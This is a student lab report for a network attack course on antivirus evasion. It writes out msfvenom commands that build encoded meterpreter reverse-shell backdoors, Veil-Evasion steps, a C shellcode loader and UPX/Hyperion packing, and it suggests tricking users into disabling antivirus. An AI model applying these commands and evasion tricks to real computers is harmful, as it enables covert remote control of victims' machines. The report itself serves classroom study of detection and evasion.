2018-2019-2 20165212 《網絡對抗技術》Exp3 免殺原理與實踐

2018-2019-2 20165212 《網絡對抗技術》Exp3 免殺原理與實踐

1、實驗內容

  • 正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧
  • 經過組合應用各類技術實現惡意代碼免殺
  • 用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

2、實驗步驟

任務一 正確使用免殺工具或技巧

一、使用msf編碼器msfvenom生成後門程序

  • 使用msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘\x00’ LHOST=192.168.235.144 LPORT=5212 -f exe >fenix.exe指令進行屢次編碼,生成.exe的後門程序 java

  •  

  • 放到windows系統中,360確定是能夠直接發現的,沒有測試的必要python

  • 使用virscan進行掃描,結果以下所示: shell

  •  

  • 用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.144 lport=5212 x> 5212met.jar生成.jar的後門程序編程

  • 使用msfconsole回連成功 (沒啓動殺軟)windows

  •  

  • 放到windows7系統中,殺軟並發現它了,掃描沒問題,可是運行會查殺安全

  • 使用virscan進行掃描,結果以下所示: 網絡

  •  

  • 檢測率下降了,但沒有實現免殺併發

二、使用veil-evasion生成後門程序

  • 安裝veil-evasion(參考安裝教程)
  • 在通過長時間嘗試安裝veil失敗後,我直接安裝了可用veil的kali機
  • 輸入veil,啓用veilapp

  • 輸入use evasion,進入veil-evasiontcp

  • 輸入list,查看可生成文件的格式

  • 輸入use 7,選擇C語言格式

  • 依次輸入set LHOST 192.168.235.144和set LPORT 5212設置反彈鏈接IP和端口
  • 輸入generate生成文件,再設置playload的名字:payload5212 
  •  

  • 生成成功
  •  

  • 放到windows中,執行,msf成功監聽3 
  •  

 

  • 使用virscan進行掃描,結果以下所示: 
  •  

  • 查殺結果依然顯示危險

三、利用shellcode編程生成後門程序

  • 用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.144 LPORT=5212 -f c生成一段shellcode

  • 利用shellcode編寫一個C語言程序後門,再用i686-w64-mingw32-g++ feniexp3.c -o fenixexp3.exe編譯運行後,測試其可用性

  • C語言代碼以下: unsigned char buf[] = "buf"

int main() { int (func)() = (int()())buf; func(); } - 生成文件如圖

 

 

  • 直接用.C交叉編譯生成的exe文件複製到Windows中是沒法運行的,錯誤提示BEX,是win下面相似堆棧保護的機制(可是UPX壓索殼加密後能夠運行可用回連;upx加殼後的exe再用hyperion加密殼加密後不可再win下面不能夠運行,錯誤提示appcrash,此次緣由再也不是堆棧保護機制,而是編譯C生成的EXE文件這麼一層一層弄下來文件自己壞了)

  • upx加密的EXE成功鏈接

  •  

 

  • 使用virscan進行掃描,結果以下所示:
  • -上述3個exe程序沒法實現免殺,掃描就涼了

任務二 經過組合應用各類技術實現惡意代碼免殺

對任務一中使用Veil,c/meterpreter/rev_tcp.py生成的fenixveil.exe可執行文件加UPX壓縮殼嘗試實現免殺 被控機是Win7虛擬機,電腦殺軟爲360(最新版就這周安裝的)

  • 使用virscan進行掃描,結果以下所示: 
  •  

  • win7下360按位置查殺沒有發現:
  •  

  • 可是嘗試運行回連候會被殺出來,應該是壓縮事後儲存在硬盤上的代碼被改變沒有惡意代碼的特徵,可是運行的時候在行爲像病毒木馬因此被360查出來。也就是說,upx這個工具生成的後門,存儲沒問題,運行還不行。hyperion也是同樣,甚至 
  •  

  • 固然了,沒開殺軟或者信任以後回連成功 
  •  

  • 因此,總結一下,後門程序、組合實現的shellcode存儲免殺沒問題,可是運行起來不行

任務三 用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

  • 本項任務我本身的主機做爲受害者,20165313張晨暉的kali做爲壞人
  • 殺軟版本:電腦管家13.0.19837.233,我在本身主機上啓動的程序爲半手工編譯的shellcode通過upx和hyperion加殼的。結果如圖
  •  

  •  

3、實驗中遇到的問題

  • 在安裝運行Veil-Evasion時,遇到不少錯,很棘手

    • 解決過程: 更換新版本的kali機
  • C交叉編譯生成的exe文件、hyperion加密殼生成的exe文件在win7下沒法執行。

    • 這個問題其實沒有解決,我大體找到了緣由:前者是由於「機器碼惡意太明顯」,win7下有相似堆棧保護的機制,叫「數據執行保護DEP」(錯誤代碼BEX),而且我沒法爲個人後門程序免除DEP;後者應該是由於一層層編譯加殼下來文件自己產生了變化(錯誤代碼APPCRASH),ntdll內核模塊出錯,我嘗試按網上的步驟修改,結果那個虛擬機壞了。使得程序自己沒法啓動。 
    •  

4、實驗總結

一、基礎問題回答

  • (1)殺軟是如何檢測出惡意代碼的?

    • 1)第一種是基於特徵碼的檢測,特徵碼就是一段惡意程序有可是正常程序沒有的一段代碼,當殺軟檢測到一個程序裏有和特徵碼庫中匹配的特徵碼,就會將它做爲惡意程序處理。
    • 2)第二種是啓發式惡意軟件檢測,簡單來講,就是殺軟根據程序的片面特徵去推斷其是否包含惡意代碼,一般缺少精確斷定依據。
    • 3)第三種是基於行爲的惡意軟件檢測,是加入了行爲監控的啓發式檢測,更加精確。當一個程序在運行時,殺毒軟件會監視其行爲,若是發現了這種特殊的行爲,則會把它當成惡意軟件。
  • (2)免殺是作什麼?
    • 我認爲是經過一些特殊的方法,如加殼、編碼等,使殺軟沒法識別主機中的惡意代碼。
  • (3)免殺的基本方法有哪些?

    • 1)第一種是改變特徵碼,如加殼、用encode對shellcode進行編碼、利用shellcode生成可執行文件、用python和C等其餘語言重寫再編譯。
    • 2)第二種是改變行爲,如在通信中儘可能使用反彈式鏈接、使用隧道技術、加密通信數據等等,在操做中基於內存操做、減小對系統的修改、加入混淆做用的正常功能代碼等。
    • 3)第三種是很是規方法,如使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中;使用社工類攻擊,誘騙目標關閉AV軟件;純手工打造一個惡意軟件等等。

二、實驗總結和收穫

  • 結合我身邊同窗的實際狀況來看,若是在windows&360開啓的條件下,運行後門程序沒有一個成功的(有的運行了幾分鐘以後才被查殺,但那不算成功吧),爲了最後一個任務,我不得不去找了一臺裝有騰訊電腦管家的電腦去作實驗,而且運行沒有發現。據我所知,360的病毒庫是和卡巴斯基通用的,這兩你們安全公司,要是咱們簡單的學了幾個小時複製粘貼幾個指令就能逃過去豈不是有些荒唐...

三、離實戰還缺乏的技術或步驟

  • 目前咱們的水平很難弄出能在360眼皮底下運行的後門(我所知道的能夠運行的堅持不過幾分鐘),因此必需要考慮「人爲因素」,對計算機使用者進行誘導,使其主動去關閉360或者對咱們的後門程序添加信任,也就意味着咱們須要對後門程序進行包裝,好比把shellcode寫進word、QQ等程序裏,使操做者對假裝的後門程序沒有戒備。還有一種思路:既而後門程序能夠安全的存儲在硬盤上,那我就能夠在弄一個程序去監視計算機的進程,監視到360退出了,這時候去喚醒後門程序
相關文章
相關標籤/搜索